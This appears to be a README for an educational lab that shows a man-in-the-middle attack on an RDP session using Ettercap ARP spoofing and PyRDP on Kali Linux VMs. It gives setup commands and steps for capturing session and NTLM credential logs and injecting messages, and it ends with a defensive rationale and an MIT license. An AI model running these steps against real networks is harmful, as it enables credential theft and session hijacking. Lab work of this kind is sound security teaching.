Demonstrate a Man-in-the-Middle (MITM) attack on a Remote Desktop Protocol (RDP) session to capture sensitive data and highlight the importance of securing remote connections.
- Operating System: Kali Linux (3 virtual machines)
- Tools:
- PyRDP (RDP MITM tool)
- Ettercap (ARP spoofing)
- Remmina (RDP client)
- Wireshark (optional, for traffic analysis)
- xRDP (RDP service on the server machine)
sudo apt update
sudo apt install xrdp -y
sudo systemctl enable xrdp
sudo systemctl start xrdp
sudo ufw allow 3389/tcpsudo systemctl status xrdpsudo apt update
sudo apt install remmina remmina-plugin-rdp -ysudo apt update
sudo apt install ettercap-text-only -y
pip install pyrdp
sudo apt install wireshark -ysudo ettercap -G- Select Network Interface.
- Scan for Hosts in the Network.
- Add Target 1: Machine A (Server).
- Add Target 2: Machine B (Client).
- Enable ARP Spoofing.
pyrdp-mitm --output-dir ./logs- Launch Remmina on Machine B.
- Configure RDP Connection to the IP of Machine A.
ls ./logscat ./logs/mitm.log
cat ./logs/ntlmssp.logsudo wiresharkpyrdp-inject --target <Target IP> --message "Hello from MITM"arp -asudo netstat -tuln | grep 3389ping <IP of Machine A>This project demonstrates the vulnerability of RDP sessions to MITM attacks when proper security measures are not implemented. By following this guide, users can understand how attackers exploit insecure configurations and can take proactive steps to secure remote connections using encryption, strong authentication, and network segmentation.
This project is licensed under the MIT License. See the details below:
MIT License
Copyright (c) 2025 Aswath P Raj
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.